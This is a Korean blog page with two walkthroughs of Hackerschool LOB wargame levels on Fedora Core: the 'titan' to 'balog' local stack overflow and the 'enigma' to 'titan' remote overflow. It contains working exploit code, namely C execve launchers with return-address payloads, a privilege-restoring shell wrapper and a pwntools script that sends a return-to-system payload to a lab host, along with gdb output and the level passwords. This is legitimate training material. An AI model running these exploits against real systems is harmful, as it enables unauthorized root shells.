'Titan' 태그의 글 목록

Titan

해커스쿨 LOB FC10 [titan -> balog] 풀이 2019.02.23
해커스쿨 LOB FC4 [enigma -> titan] 풀이 2019.02.23

PREV 1 NEXT

해커스쿨 LOB FC10 [titan -> balog] 풀이

2019. 2. 23. 19:29

ID | titan

PW | out of the night

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - balog
    - Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }
 
        // overflow!!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        return 0; 
}
 
 
Colored by Color Scripter
cs

http://index-of.co.uk/Reverse-Engineering/Fedora%20Core%203,4,5%20stack%20overflow%20%5Brandomkid%5D.pdf

위 글을 참고해 ex했습니다.

1. 아스키아머가 걸리지 않은 ret 코드 주소를 알아낸다.

2. main()'s 에필로그 주소를 알아낸다.

3. 몇번째 enviorns 에서 ret 이 되는지 알아낸다.

4. &execve()'s address 를 알아낸다.

5. 심볼릭 링크를 걸고 공격하여 root shell 을 얻어낸다.

0x08048471 <main+93>: lea eax,[ebp-0x104]

0x08048477 <main+99>: mov DWORD PTR [esp],eax

0x0804847a <main+102>: call 0x8048340 <puts@plt>

0x0804847f <main+107>: mov eax,0x0

0x08048484 <main+112>: add esp,0x114

0x0804848a <main+118>: pop ecx

0x0804848b <main+119>: pop ebp

0x0804848c <main+120>: lea esp,[ecx-0x4]

0x0804848f <main+123>: ret

ret -> 0x0804848f

main 에필로그 -> 0x08048484

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//ex.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K26","K27",
 "K28","K29","K30",0
 };
 char *argv[] = {
 "./balog2",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08", /* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog2",argv,environs);
}
 
Colored by Color Scripter
cs

[titan@Fedora_3rdFloor ~]$ cp balog balog2

[titan@Fedora_3rdFloor ~]$ vi ex.c

[titan@Fedora_3rdFloor ~]$ gcc -o ex ex.c

[titan@Fedora_3rdFloor ~]$ gdb -q ex

(no debugging symbols found)

(gdb) r

Starting program: /home/titan/ex

(no debugging symbols found)

Executing new program: /home/titan/balog2

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(no debugging symbols found)

��

Program received signal SIGSEGV, Segmentation fault.

0x0036324b in ?? ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) x/s $esp

0xbfffffe3: "K27"

26번째 인자가 ret되었다.

26번째 인자 <- execv() , 28번째 인자 <- execv()의 인자

[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog

(no debugging symbols found)

Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) p execve

$1 = {<text variable, no debug info>} 0x9ab7e0 <execve>

[titan@Fedora_3rdFloor ~]$ objdump -s balog | grep "01" --color=auto

8048148 04000000 10000000 01000000 474e5500 ............GNU.

804818c 02000000 06000000 01000000 05000000 ................

80481bc 01000000 00000000 00000000 20000000 ............ ...

8048272 00000000 02000200 02000200 0100 ..............

8048280 01000100 10000000 10000000 00000000 ................

80482a0 b4960408 06010000 ........

80482a8 c4960408 07010000 c8960408 07020000 ................

80483c0 8d4201a3 e0960408 ff1485e0 9504088b .B..............

80483d0 15e09604 0839da72 e7c605dc 96040801 .....9.r........

8048420 e55181ec 14010000 898df8fe ffff8b85 .Q..............

8048480 00000000 81c41401 0000595d 8d61fcc3 ..........Y].a..

80484e0 08890424 ff94b320 ffffff83 c60139fe ...$... ......9.

8048548 03000000 01000200 00000000 61726763 ............argc

8048564 011b033b 18000000 02000000 2cffffff ...;........,...

8048580 14000000 00000000 017a5200 017c0801 .........zR..|..

8048590 1b0c0404 88010000 18000000 1c000000 ................

80495ec 01000000 10000000 0c000000 d0820408 ................

804966c feffff6f 80820408 ffffff6f 01000000 ...o.......o....

0010 32203230 30383131 30352028 52656420 2 20081105 (Red

0100 20486174 20342e33 2e322d37 2900 Hat 4.3.2-7).

[titan@Fedora_3rdFloor ~]$ gdb -q balog

(no debugging symbols found)

(gdb) b main

Breakpoint 1 at 0x8048422

(gdb) r

Starting program: /home/titan/balog

(no debugging symbols found)

Breakpoint 1, 0x08048422 in main ()

Missing separate debuginfos, use: debuginfo-install glibc-2.9-3.i686

(gdb) x/x 0x080481bc <--- execve() 첫번째 인자

0x80481bc: 0x00000001

(gdb) x/x 0x080481c0 <--- execve() 두 세번째 인자

0x80481c0: 0x00000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//ex2.c
#include <stdio.h>
int main()
{
 char *environs[] = {
 "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14",
 "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25",
 "\xe0\xb7\x9a",
 "K27",
 "\xbc\x81\x04\x08"
 "\xc0\x81\x04\x08"
 "\xc0\x81\x04\x08",0
 };
 char *argv[] = {
 "./balog",
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08" /* <--- ret 코드 주소 */
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08"
 "\x84\x84\x04\x08", /* <--- main()'s 의 에필로그 */
 0
 };
 execve("./balog",argv,environs);
}
 
Colored by Color Scripter
cs

sh.c --> \x01

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
 
int main(void)
{
  setreuid(geteuid(),geteuid());
  setregid(getegid(),getegid());
  system("/bin/sh");
}
Colored by Color Scripter
cs

[titan@Fedora_3rdFloor ~]$ vi sh.c

[titan@Fedora_3rdFloor ~]$ vi ex2.c

[titan@Fedora_3rdFloor ~]$ gcc -o sh sh.c

[titan@Fedora_3rdFloor ~]$ ln -s sh `python -c 'print "\x01"'`

[titan@Fedora_3rdFloor ~]$ ls -al `python -c 'print "\x01"'`

lrwxrwxrwx 1 titan titan 2 2019-02-23 04:34 ? -> sh

익스 !

[titan@Fedora_3rdFloor ~]$ gcc -o ex2 ex2.c

[titan@Fedora_3rdFloor ~]$ ./ex2

��

Segmentation fault

....

[titan@Fedora_3rdFloor ~]$ ./ex2

��

sh-3.2$ my-pass

euid = 500

out of the night

balog2 는 쉘이 따지는데 balog에서 세그먼트 폴트가 뜬다..

왜인지는 모르겠다.

일단 넘어가고, 나중에 다시 봐야겠다.

저작자표시 비영리 동일조건

'System Hacking > LOB FC' 카테고리의 다른 글

해커스쿨 LOB FC10 [balog -> talos] 풀이 (0)	2019.02.23
해커스쿨 LOB FC4 [enigma -> titan] 풀이 (0)	2019.02.23
해커스쿨 LOB FC4 [cruel -> enigma] 풀이 (0)	2019.02.22
해커스쿨 LOB FC4 [dark_stone -> cruel] 풀이 (0)	2019.02.20
해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0)	2019.02.20

해커스쿨 LOB FC4 [enigma -> titan] 풀이

2019. 2. 23. 15:54

ID | enigma

PW | let me ride

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - titan
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 8888
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
static char buffer[40];
static void (*ftn)();
 
void print()
{
        printf("nothing here\n");
    fflush(stdout);
}
 
int main()
{
        char buf[48];
        ftn = print;
 
        printf("titan : What a tragic mistake.\n");
        printf("you : ");
        fflush(stdout);
 
    // give me a food
        fgets(buf,48,stdin);
 
    // buffer overflow!!
        strcpy(buffer,buf);
 
    // preventing RTL
        if(((int)ftn & 0xff000000) == 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing buffer
    memset(buffer, 0, 40);
 
        ftn();
}
 
Colored by Color Scripter
cs

fgets로 null 포함 48바이트를 입력받아 strcpy로 buffer[40]에 덮는데, 이 때 ftn도 덮을 수 있어서 ftn을 조작할 수 있다.

esp를 증가시켜서 fgets의 ret주소를 조작해야한다.

(gdb) b *main+108

Breakpoint 1 at 0x8048561

(gdb) r

Starting program: /home/enigma/titan

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x612000

(no debugging symbols found)

titan : What a tragic mistake.

you : AAAA

Breakpoint 1, 0x08048561 in main ()

(gdb) i r eax

eax 0xbf991764 -1080486044

(gdb) i r esp

esp 0xbf991740 0xbf991740

(gdb) p 0x64-0x40

$1 = 36

buf와 esp차이는 36바이트

fgets의 ret은 buf-40

0x0804854a <main+85>: add esp,0x10

0x0804854d <main+88>: mov eax,ds:0x80497e4

0x08048552 <main+93>: sub esp,0x4

0x08048555 <main+96>: push eax

0x08048556 <main+97>: push 0x30

0x08048558 <main+99>: lea eax,[ebp-52]

0x0804855b <main+102>: push eax

0x0804855c <main+103>: call 0x80483c8

fgets를 call하기전, esp는 최종적으로 0xc만큼 증가한다.

fnt를 *main+85로 덮으면 esp를 12바이트씩 증가할 수 있으니

buf-40 -> -28 > -16 -> -4 -> buf+8

esp를 4번 증가시켜주고, 다음 페이로드에 dummy[8] + system[4] + dummy[4] + binsh[4] 를 담아 보내면 된다.

(gdb) p system

$2 = {<text variable, no debug info>} 0x7db0e7 <system>

"/bin/sh\x00" 찾기

1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7db0e7;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
Colored by Color Scripter
cs

[enigma@Fedora_2ndFloor ~]$ vi find.c

[enigma@Fedora_2ndFloor ~]$ gcc -o find find.c

[enigma@Fedora_2ndFloor ~]$ ./find

"bin/sh" is at 0x8bd987

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
p = remote("192.168.0.205", 8888)
 
system = 0x7db0e7
binsh = 0x8bd987
 
payload = ('A' * 40 + p32(0x804854a) +"\n") * 4
payload += "A" * 8
 
payload += p32(system)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.send(payload)
 
p.interactive()
 
Colored by Color Scripter
cs

mandu@mandu-VirtualBox:~/ex_pwn$ python ex.py

[+] Opening connection to 192.168.0.205 on port 8888: Done

titan : What a tragic mistake.

you :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAA��}\x00AAAA\x87ً\x00

[*] Switching to interactive mode

$ my-pass

euid = 503

out of the night

저작자표시 비영리 동일조건

'System Hacking > LOB FC' 카테고리의 다른 글

해커스쿨 LOB FC10 [balog -> talos] 풀이 (0)	2019.02.23
해커스쿨 LOB FC10 [titan -> balog] 풀이 (0)	2019.02.23
해커스쿨 LOB FC4 [cruel -> enigma] 풀이 (0)	2019.02.22
해커스쿨 LOB FC4 [dark_stone -> cruel] 풀이 (0)	2019.02.20
해커스쿨 LOB FC3 [evil_wizard -> dark_stone] 풀이 (0)	2019.02.20

PREV 1 NEXT

M4ndU의 만두만두한 블로그

Titan

해커스쿨 LOB FC10 [titan -> balog] 풀이

'System Hacking > LOB FC' 카테고리의 다른 글

해커스쿨 LOB FC4 [enigma -> titan] 풀이

'System Hacking > LOB FC' 카테고리의 다른 글

+ Recent posts

티스토리툴바